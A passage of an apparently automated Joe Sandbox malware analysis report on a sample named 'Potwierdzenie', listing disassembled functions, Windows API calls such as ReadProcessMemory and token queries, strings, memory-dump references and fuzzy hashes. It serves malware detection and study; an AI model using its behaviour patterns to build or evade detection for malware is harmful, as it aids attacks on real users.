CloseHandle.KERNEL32(00000000), ref: 0BC0440B

Part of subcall function 0BC73EA0: HeapFree.KERNEL32(00000001,00000000,0BCF75BC,0BCF75C8,0BBF107E,-00000004,00000000), ref: 0BC73EC9
Part of subcall function 0BC73EA0: ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 0BC73F04

Strings

VirtualDllWithSameImport.dll, xrefs: 0BC04318, 0BC04370

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$ModuleNamememcpy$CloseCreateFreeHandleHeapLibraryLoadReadReleaseSemaphoreSize
String ID: VirtualDllWithSameImport.dll
API String ID: 483617122-3497808830
Opcode ID: 0567facb4777bb9c498e1a002b8d9398b373e7ca91796cfe6352357c78c41050
Instruction ID: 04e4e14f8fd41fbf2b709d575093f3e63a5b456dd8ae4f8cfdaf9785357605fc
Opcode Fuzzy Hash: 0567facb4777bb9c498e1a002b8d9398b373e7ca91796cfe6352357c78c41050
Instruction Fuzzy Hash: 2941D871A60205AFEB14EF60DC95B6BBBB9EF81700F044075EA059B3C1DB70EA05D7A6

Function 0BC4AD40 Relevance: 13.9, APIs: 9, Instructions: 402COMMON

Download Yara Rule

APIs

Part of subcall function 0BC13450: TlsGetValue.KERNEL32 ref: 0BC13465

GetCurrentProcess.KERNEL32(00000000,00130089,00000000,00000000), ref: 0BC4ADA4
GetCurrentProcess.KERNEL32(?,00000000), ref: 0BC4ADA8

Part of subcall function 0BC10F90: TlsGetValue.KERNEL32 ref: 0BC10FA5

GetCurrentProcess.KERNEL32(00000000,00000000,00000000,00000000), ref: 0BC4ADCA
GetCurrentProcess.KERNEL32(?,00000000), ref: 0BC4ADCE
TlsGetValue.KERNEL32 ref: 0BC4AF6B
TlsSetValue.KERNEL32(00000001), ref: 0BC4AF79

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: CurrentProcessValue
String ID:
API String ID: 2963694037-0
Opcode ID: 2d1497d52b239095544878889fad4d6b5cbba59f6d8531710661161e0e0b6ad5
Instruction ID: bc6a763a5e6fa9c79c19b45f99f50068ce7a8d4a606bd19b56794b1234686367
Opcode Fuzzy Hash: 2d1497d52b239095544878889fad4d6b5cbba59f6d8531710661161e0e0b6ad5
Instruction Fuzzy Hash: 25D15C71A51119AFDB21EBA0CC56FEE77B9EF94700F0040A5F905AB280DB71AE05DBA0

Function 0BCAA640 Relevance: 13.7, APIs: 9, Instructions: 230COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 146c0116b4ce9c89940de77d2f972792813a1bcaa849f576604bef5bf0f4e6e9
Instruction ID: e709a29953a9056369cf75a47502bd3a28af3e4d945972c5938542cad726d24a
Opcode Fuzzy Hash: 146c0116b4ce9c89940de77d2f972792813a1bcaa849f576604bef5bf0f4e6e9
Instruction Fuzzy Hash: A3914D75D2120AAFCF15EFE4C941AEEBBB5FF48704F144059E901A7260DB31AE11EBA0

Function 0BC2E0A0 Relevance: 13.7, APIs: 9, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 52871db1685db5b6e3b44d5176c2dfbd1617f5aa423ecc7ae89d68693d8dc8dd
Instruction ID: df08ecdfb440bac8eebadd5b53e2198c458833b2d86e9bcf528eb60ddc82a344
Opcode Fuzzy Hash: 52871db1685db5b6e3b44d5176c2dfbd1617f5aa423ecc7ae89d68693d8dc8dd
Instruction Fuzzy Hash: FD718074921326AFDB14EFE1C845BAFBBB8EF44704F044428E916A7250DB75AA04DBA1

Function 0BC50560 Relevance: 13.7, APIs: 9, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 21a55d504e043aba44b9495444eea1485a1467e5b9de1a194512353e3a2b122b
Instruction ID: a1868ae9268aa9287c075015f9ff7cccd05d5052a3330b3f9b40d2e8857a0862
Opcode Fuzzy Hash: 21a55d504e043aba44b9495444eea1485a1467e5b9de1a194512353e3a2b122b
Instruction Fuzzy Hash: 3B617E71A21314AFCB10DFA1C881BAFBBB8BF84754F044469ED06E7240EB74A644DBA4

Function 0BCA8510 Relevance: 13.6, APIs: 9, Instructions: 144COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2dcd9211607a1dae4fe7dbfe3189421b68e6b22f2d678cfe0d9ad104e6e8c62b
Instruction ID: 589a7152be771cc103ca62e1f35204edcd076b2b5edbda32fb2d6732c0009336
Opcode Fuzzy Hash: 2dcd9211607a1dae4fe7dbfe3189421b68e6b22f2d678cfe0d9ad104e6e8c62b
Instruction Fuzzy Hash: DD418EB5A213069FD728DF55C980E6B77B9FFC8744B050968ED4697311EB30EA00DA60

Function 0BC2A5B0 Relevance: 13.6, APIs: 9, Instructions: 135COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 01e0d4d03b224d5f5f0e8b2aeb60e6356e94dc241a65927684e6eb272065849e
Instruction ID: 323dbe51addfdc3861a007adc9151fa4dab4e32905fa3dce605d109a9d67c9f0
Opcode Fuzzy Hash: 01e0d4d03b224d5f5f0e8b2aeb60e6356e94dc241a65927684e6eb272065849e
Instruction Fuzzy Hash: 8E41DB75A21224AFC715EFA5C945F6FBB79FF85B50F004018F9099B250DF749A01DBA0

Function 0BCC23E0 Relevance: 13.6, APIs: 9, Instructions: 121fileCOMMON

Download Yara Rule

APIs

CreateFileMappingW.KERNEL32(?,00000000,00000004,00000000,00000000,00000000,?,-00000001), ref: 0BCC2418
GetLastError.KERNEL32(?,-00000001), ref: 0BCC2424
UnmapViewOfFile.KERNEL32(00000000,?,-00000001), ref: 0BCC2443
MapViewOfFile.KERNEL32(00000000,00000006,00000000,00000000,00000000,?,-00000001), ref: 0BCC2459
VirtualQuery.KERNEL32(00000000,?,0000001C,?,-00000001), ref: 0BCC246D
GetLastError.KERNEL32(?,-00000001), ref: 0BCC2477
CloseHandle.KERNEL32(00000000,?,-00000001), ref: 0BCC2492
CloseHandle.KERNEL32(00000000,?,-00000001), ref: 0BCC24B1
memcpy.NTDLL(00000000,?,?), ref: 0BCC24F4

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$CloseErrorHandleLastView$CreateMappingQueryUnmapVirtualmemcpy
String ID:
API String ID: 2723035169-0
Opcode ID: d694f8c8dbfe974eee82421f3d3837eef8c7b0ad2d128fb6a7a0e94e75957965
Instruction ID: ca6c9525030a1cdc9b1fc9ce6cac204f9c8f53affa6d46653d1d06db3cef5c38
Opcode Fuzzy Hash: d694f8c8dbfe974eee82421f3d3837eef8c7b0ad2d128fb6a7a0e94e75957965
Instruction Fuzzy Hash: DF41D230A51612ABDB24DF68C884B6BB7E4FF24315F10413DEA16DB280D771F952CB94

Function 0BC0A7B0 Relevance: 13.6, APIs: 9, Instructions: 112fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,00000044,00000000), ref: 0BC0A7CD
ReadFile.KERNEL32(00000000,?,00000040,?,00000000), ref: 0BC0A7F9
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 0BC0A80B
ReadFile.KERNEL32(00000000,?,000000F8,?,00000000), ref: 0BC0A82D
SetFilePointer.KERNEL32(00000000,?,00000000,00000000), ref: 0BC0A83F
ReadFile.KERNEL32(00000000,?,000000F8,?,00000000), ref: 0BC0A872
ReadFile.KERNEL32(00000000,?,00000108,?,00000000), ref: 0BC0A8A7
CloseHandle.KERNEL32(00000000), ref: 0BC0A8DC

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$Read$Pointer$CloseCreateHandle
String ID:
API String ID: 1070754562-0
Opcode ID: aee4ad049b704d310ca486f0bb9928a4a49bad6288b044faa1d312d9bbcea82d
Instruction ID: a1ec91c466f4e06eb27a73149e19fa1829dfdf69f1452bdf8f157c476870e932
Opcode Fuzzy Hash: aee4ad049b704d310ca486f0bb9928a4a49bad6288b044faa1d312d9bbcea82d
Instruction Fuzzy Hash: 7B31A335A65219BAEB2096588C00FEE736CDB44710F100271FE19EA1C0DB71AF479BB5

Function 0BCABB40 Relevance: 13.6, APIs: 9, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a413b1fd6c43ef64351783ff7b99c35cb17172fecf254689cbfb0cc847543127
Instruction ID: af641592735536f53e2a3116bba9689d8cd103dc702c9dadd5b34a4c00dc2c8b
Opcode Fuzzy Hash: a413b1fd6c43ef64351783ff7b99c35cb17172fecf254689cbfb0cc847543127
Instruction Fuzzy Hash: 4131E8319213216FC721AFA5CD85FBFBAB8EF81A94F004018EA0967190DB746D0097E0

Function 0BCA0AE0 Relevance: 13.6, APIs: 9, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 96c985c0795deccce40c70a532ce70d4b13c288f3d78c2b1bbe31122db1c5e7e
Instruction ID: 7df4b307e1f2df865191a4f05000dd74ef7b107f2794c740c5090341b593999d
Opcode Fuzzy Hash: 96c985c0795deccce40c70a532ce70d4b13c288f3d78c2b1bbe31122db1c5e7e
Instruction Fuzzy Hash: DA3129B0A213029ED7209F5BD984B27FBEDEFC4798F14C42EE54A97260DBB495008B50

Function 0BC4E6E0 Relevance: 13.6, APIs: 9, Instructions: 96COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a1ead8cbfcd2ba86feb092876d5802804674202ad812bbf8e9d9385cc8bb3cee
Instruction ID: 5be6016a4523c4903ea15472259cd4a13617509dc85a6514395915b0271485ce
Opcode Fuzzy Hash: a1ead8cbfcd2ba86feb092876d5802804674202ad812bbf8e9d9385cc8bb3cee
Instruction Fuzzy Hash: 973136B0A213129ED7249F1BC884B27FBEDFFC4660F15C42EE58987220DB7496048B60

Function 0BCBE890 Relevance: 12.2, APIs: 8, Instructions: 212stringCOMMON

Download Yara Rule

APIs

ReadProcessMemory.KERNEL32(?,00000000,?,00000040,?,74E04FF0,?,00000000), ref: 0BCBE8BF
ReadProcessMemory.KERNEL32(?,?,?,000000F8,?), ref: 0BCBE8D8
ReadProcessMemory.KERNEL32(?,?,?,00000028,?), ref: 0BCBE8EE
ReadProcessMemory.KERNEL32(?,?,?,00000004,?), ref: 0BCBE914
ReadProcessMemory.KERNEL32(?,?,?,00000001,00000000), ref: 0BCBE957
lstrcmpA.KERNEL32(00000000,0BC019DB), ref: 0BCBE9E6
ReadProcessMemory.KERNEL32(?,00000000,?,00000002,00000000), ref: 0BCBEA3F
ReadProcessMemory.KERNEL32(?,00000000,?,00000004,00000000), ref: 0BCBEA64

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: MemoryProcessRead$lstrcmp
String ID:
API String ID: 1270094187-0
Opcode ID: c7f7eca58b01b9aad9bc92d6ea708afe30483a81ca0fab237d9ba5547ff79cfa
Instruction ID: 315c34897521b00868960a67964ff3856b587248a3734be41a3a2decc803aa1c
Opcode Fuzzy Hash: c7f7eca58b01b9aad9bc92d6ea708afe30483a81ca0fab237d9ba5547ff79cfa
Instruction Fuzzy Hash: 39615072E1111AAFDB10DF99D881EFEB7BCEF44A11F044469E915E7240D730AB09DBA1

Function 0BCC21C0 Relevance: 12.2, APIs: 8, Instructions: 208fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNEL32(?,?,00000030,00000000,?,?,?,0BC88978,00000030,?), ref: 0BCC2249
SetEndOfFile.KERNEL32(?), ref: 0BCC2257
CreateFileMappingW.KERNEL32(?,00000000,00000008,00000000,00000000,00000000), ref: 0BCC226E
MapViewOfFile.KERNEL32(00000000,00000001,00000000,00000000,00000000), ref: 0BCC2283
CloseHandle.KERNEL32(00000000), ref: 0BCC2295
memcpy.NTDLL(00000000,?,?), ref: 0BCC22B7
UnmapViewOfFile.KERNEL32(?), ref: 0BCC22C7
CloseHandle.KERNEL32(00000000,?,?,?,?,?,?,?,?), ref: 0BCC232F

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: File$CloseHandleView$CreateMappingPointerUnmapmemcpy
String ID:
API String ID: 2693939979-0
Opcode ID: 554e5ed8f0cfa7786a7ab509bbb4624463c30192029575d6a7ad4f557f566ac7
Instruction ID: b9c7a3647bd59d20bc22e46b5f6cb0fea1ead9163cc5c0fc75d889b5ed65393f
Opcode Fuzzy Hash: 554e5ed8f0cfa7786a7ab509bbb4624463c30192029575d6a7ad4f557f566ac7
Instruction Fuzzy Hash: 37618F71A11104AFCB15DF68DC80AAEB7B9FF98310F14416DE90AAB381DB31EE51DB94

Function 0BC14730 Relevance: 12.2, APIs: 1, Strings: 7, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 0BCC0E20: GetLastError.KERNEL32(00000000,0BBF7CEB,?,00000000,0BBF5C6B), ref: 0BCC0E23

TlsGetValue.KERNEL32 ref: 0BC14745

Part of subcall function 0BCC0E30: GetLastError.KERNEL32(00000000,0BBF8E6F), ref: 0BCC0E33
Part of subcall function 0BCC0E30: SetLastError.KERNEL32(00000000), ref: 0BCC0E3E

Strings

, IoStatusBlock->Information = , xrefs: 0BC147E8
core, xrefs: 0BC1481D
, CompletionValue = , xrefs: 0BC147CA
): , xrefs: 0BC14807
NtRemoveIoCompletion(IoCompletionHandle: , xrefs: 0BC14818
, CompletionKey = , xrefs: 0BC147D7
, IoStatusBlock->Status = , xrefs: 0BC147F8

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID: ErrorLast$Value
String ID: ): $, CompletionKey = $, CompletionValue = $, IoStatusBlock->Information = $, IoStatusBlock->Status = $NtRemoveIoCompletion(IoCompletionHandle: $core
API String ID: 1883355122-3553767507
Opcode ID: c9c4d431b0b313f4a7cd14886997566b220fbbfe926847d01ae947f12111d078
Instruction ID: 64a983a233141a6cb05a46c26de765d46fadc280a5f66f9cd055d9c055e333c5
Opcode Fuzzy Hash: c9c4d431b0b313f4a7cd14886997566b220fbbfe926847d01ae947f12111d078
Instruction Fuzzy Hash: EB514D71A60209AFEF04FFB0D85ABAF7BB9EF15314F044428E511AB250DB359914EBA0

Function 0BCB6240 Relevance: 12.2, APIs: 8, Instructions: 157COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026691127.000000000BCF1000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026771498.000000000BCF2000.00000008.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026853224.000000000BCF7000.00000004.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026900303.000000000BCF9000.00000002.10000000.00040000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_10_2_bbf0000_Potwierdzenie.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7506b1712ffad141de1d09f22b7bafb76baee27fdf780a4ffa206edb3a5925b4
Instruction ID: d22cd6d222014f4e1761b5becf302ffe1955137f975cc7a9b55c9488fa041ab3
Opcode Fuzzy Hash: 7506b1712ffad141de1d09f22b7bafb76baee27fdf780a4ffa206edb3a5925b4
Instruction Fuzzy Hash: 16519D72A22224AFDB21DF64C884FEEBB68BF44661F094568ED056B351C730EA40C7E1

Function 0BCC07A0 Relevance: 12.2, APIs: 8, Instructions: 154COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000008,?), ref: 0BCC07B4
OpenProcessToken.ADVAPI32(00000000), ref: 0BCC07BB
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,00000000,?), ref: 0BCC07DD
GetTokenInformation.ADVAPI32(?,00000001(TokenIntegrityLevel),00000000,?,?), ref: 0BCC0828
SetSecurityDescriptorOwner.ADVAPI32(?,00000000,00000000), ref: 0BCC0848
SetSecurityDescriptorGroup.ADVAPI32(?,00000000,00000000), ref: 0BCC0856
MakeSelfRelativeSD.ADVAPI32(?,00000000,00000001), ref: 0BCC0878
MakeSelfRelativeSD.ADVAPI32(?,00000000,00000001), ref: 0BCC08C2

Memory Dump Source

Source File: 0000000A.00000002.3026433315.000000000BBF1000.00000020.10000000.00040000.00000000.sdmp, Offset: 0BBF0000, based on PE: true

Associated: 0000000A.00000002.3026382315.000000000BBF0000.00000040.10000000.00040000.00000000.sdmpDownload File
Associated: 0000000A.00000002.3026603535.000000000BCCD000.00000002.10000000.00040000.00000000.sdmpDownload File
